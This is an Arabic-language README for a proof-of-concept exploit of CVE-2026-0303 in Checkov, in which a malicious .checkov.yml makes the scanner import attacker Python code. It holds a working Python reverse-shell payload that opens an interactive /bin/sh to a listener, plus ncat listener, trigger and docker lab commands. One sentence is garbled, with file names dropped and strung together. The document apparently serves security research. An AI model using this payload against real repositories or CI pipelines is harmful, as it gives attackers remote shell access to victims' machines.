
Checkov PoC: تنفيذ تعسفي للتعليمات البرمجية عبر التكوين المُحمَّل تلقائيًا وفحوصات Python الخارجية غير الموقَّعة.
CVE: CVE-2026-0303 | CVSS Base: 6.3 | Severity: Low
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:H/SI:H/SA:H
CVE-2026-0303 - ثغرة تنفيذ تعليمات برمجية عشوائية في Checkov.
نُشرت بواسطة Palo Alto Networks في 9 سبتمبر 2026.
الإصدارات المتأثرة: Checkov 3.2.0 حتى 3.2.531
الإصدار المُصلَّح: Checkov 3.2.532
تنفيذ تعليمات برمجية عشوائية في Checkov من خلال ملف .checkov.yml يُحمَّل تلقائيًا
-> تنفيذ تعليمات Python يتحكم بها المهاجم عبر فحص خارجي مخصص غير موقَّع.
https://github.com/user-attachments/assets/62af16bb-5b7f-4465-98b9-2d1836f5ee4f
يدعم Checkov فحوصات Python الخارجية. تُحمَّل هذه الفحوصات عمدًا كوحدات Python، مما يعني أن عبارات Python على المستوى الأعلى تُنفَّذ أثناء استيراد الوحدة.
عندما يفحص Checkov دليلًا، فإنه يبحث تلقائيًا في ذلك الدليل عن ملف أو ، ويمكن لملف إعدادات يتحكم به المهاجم أن يضبط على دليل داخل المستودع المفحوص.
.checkov.yml.checkov.yamlexternal-checks-dirيؤدي هذا إلى سلسلة التنفيذ التالية:
Victim scans an untrusted repository
->
Checkov automatically loads .checkov.yml
->
The configuration sets external-checks-dir
->
Checkov imports an attacker-controlled Python module
->
Top-level Python code executes with Checkov's privileges
لا يحتاج المهاجم إلى استغلال محلل Terraform أو تقديم سياسة Checkov صحيحة. يحدث تنفيذ التعليمات البرمجية عندما يستورد Checkov ملف Python.
وهذا ذو أهمية خاصة لخطوط أنابيب CI التي تشغّل Checkov تلقائيًا على طلبات السحب أو محتوى مستودعات غير موثوقة أخرى.
تتصل حمولة المختبر من حاوية Checkov بمستمع على المضيف:
def exploit():
lhost = "host.docker.internal"
lport = 4545
sock = socket.create_connection((lhost, lport))
for file_descriptor in (0, 1, 2):
os.dup2(sock.fileno(), file_descriptor)
subprocess.call(["/bin/sh", "-i"])
exploit()
عدّل الحمولة في exploit\external-checks\poc_check.py:
lhost = "127.0.0.1"
lport = 4444
ابدأ مستمعًا على المضيف:
ncat -lvkp 4444
أطلق السلوك المصاب بفحص الدليل الذي يتحكم به المهاجم:
checkov -d /workspace --framework terraform --skip-download
يقرأ Checkov تلقائيًا /workspace/.checkov.yml، ويكتشف دليل
الفحص الخارجي، ويستورد poc_check.py. يجب أن يستقبل المستمع
الصدفة عند تنفيذ استدعاء exploit() على مستوى الوحدة.
لقد وفّرت مختبر docker بسيطًا يمكنك إعداده عبر
docker compose up -d
والاتصال بصدفته عبر
docker exec -it scan-server /bin/sh
يحتوي هذا المستودع على إثبات مفهوم مستقل لـ CVE-2026-0303. أُعيد إنشاء الثغرة واختبارها في بيئة مختبرية معزولة.
هذا المشروع مخصص فقط لأبحاث الأمن المصرّح بها، والتعليم، والاختبار في بيئات معزولة. لا تستخدمه ضد أنظمة أو شبكات أو مستودعات أو بيانات دون إذن صريح من المالك.
يقدّم المؤلف هذا المشروع كما هو، دون أي ضمانات من أي نوع، ولا يتحمل أي مسؤولية عن الأضرار أو فقدان البيانات أو تعطّل الخدمة أو الوصول غير المصرّح به أو إساءة استخدام هذا البرنامج أو مشتقاته.